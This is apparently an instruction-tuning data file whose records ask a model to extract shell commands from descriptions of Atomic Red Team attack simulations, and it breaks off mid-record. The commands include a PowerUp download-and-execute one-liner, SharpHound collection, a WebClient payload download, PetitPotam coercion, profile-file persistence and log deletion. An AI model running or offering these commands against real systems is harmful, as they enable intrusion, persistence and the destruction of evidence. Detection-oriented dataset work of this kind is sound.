    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using PowerShell, adversaries and malware families often download payloads with the following command: (New-Object System.Net.WebClient).DownloadFile(\"#{remote_file}\", \"#{destination_path}\"); To emulate OSTap's behavior of copying itself to shares and secondary drives, use the following command: pushd #{destination_path}\necho var fileObject = WScript.createobject(\"Scripting.FileSystemObject\");var newfile = fileObject.CreateTextFile(\"AtomicTestFileT1105.js\", true);newfile.WriteLine(\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\");newfile.Close(); > AtomicTestT1105.js\nCScript.exe AtomicTestT1105.js //E:JScript\ndel AtomicTestT1105.js /Q >nul 2>&1\ndel AtomicTestFileT1105.js /Q >nul 2>&1\npopd",
    "output": "{\"command_list\": [\"(New-Object System.Net.WebClient).DownloadFile(\\\"#{remote_file}\\\", \\\"#{destination_path}\\\")\\n\", \"pushd #{destination_path}\\necho var fileObject = WScript.createobject(\\\"Scripting.FileSystemObject\\\");var newfile = fileObject.CreateTextFile(\\\"AtomicTestFileT1105.js\\\", true);newfile.WriteLine(\\\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\\\");newfile.Close(); > AtomicTestT1105.js\\nCScript.exe AtomicTestT1105.js //E:JScript\\ndel AtomicTestT1105.js /Q >nul 2>&1\\ndel AtomicTestFileT1105.js /Q >nul 2>&1\\npopd\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can transfer files to a remote host with the command: scp #{local_file} #{username}@#{remote_host}:#{remote_path}\n; You can perform a remote file copy by executing this SCP command: scp #{username}@#{remote_host}:#{remote_file} #{local_path}",
    "output": "{\"command_list\": [\"scp #{local_file} #{username}@#{remote_host}:#{remote_path}\\n\", \"scp #{username}@#{remote_host}:#{remote_file} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate a user adding an inbox rule in M365 for deleting emails with specific keywords, use the following command: Import-Module ExchangeOnlineManagement\n$password = ConvertTo-SecureString -String \"#{auth_password}\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{auth_username}\", $password\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\"phish\",\"malware\",\"hacked\") -Confirm:$false -DeleteMessage:$true; To coerce authentication from a remote system, run the Windows executable of PetitPotam with the following command:\n& \"#{petitpotam_path}\" #{captureServerIP} #{targetServerIP} #{efsApi}\nWrite-Host \"End of PetitPotam attack\"",
    "output": "{\"command_list\": [\"Import-Module ExchangeOnlineManagement\\n$password = ConvertTo-SecureString -String \\\"#{auth_password}\\\" -AsPlainText -Force\\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{auth_username}\\\", $password\\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\\\"phish\\\",\\\"malware\\\",\\\"hacked\\\") -Confirm:$false -DeleteMessage:$true\\n\", \"& \\\"#{petitpotam_path}\\\" #{captureServerIP} #{targetServerIP} #{efsApi}\\nWrite-Host \\\"End of PetitPotam attack\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might ensure their commands run at each login by modifying the ~/.profile file with this command: echo '#{text_to_append}' >> ~/.profile; To maintain persistence, an adversary can append commands to script files in /etc/profile.d/, which run on every user login, using the following command: echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh\n",
    "output": "{\"command_list\": [\"echo '#{text_to_append}' >> ~/.profile\\n\", \"echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system log file can be removed by executing this command: sudo unlink #{system_log_path}; The messages log file can be removed by executing this command: unlink /var/log/messages",
    "output": "{\"command_list\": [\"sudo unlink #{system_log_path}\\n\", \"unlink /var/log/messages\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a custom script that displays the values of various Windows API functions, including GetKeyboardLayout and GetUserDefaultUILanguage, run the following command: PathToAtomicsFolder\\..\\ExternalPayloads\\LanguageKeyboardLayout.exe; To retrieve details about the system's locale, OS language, and MUI languages using WMIC, run the following command: wmic /node:#{target_host} os get Locale,OSLanguage,MUILanguages /format:#{format_style}",
    "output": "{\"command_list\": [\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\LanguageKeyboardLayout.exe\\n\", \"wmic /node:#{target_host} os get Locale,OSLanguage,MUILanguages /format:#{format_style}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear the system log file in real-time without disrupting the logging process, use the following command: sudo log -f /var/log/system.log | : > /var/log/system.log; The system log file can be removed by executing this command: sudo unlink #{system_log_path}",
    "output": "{\"command_list\": [\"sudo log -f /var/log/system.log | : > /var/log/system.log\\n\", \"sudo unlink #{system_log_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and 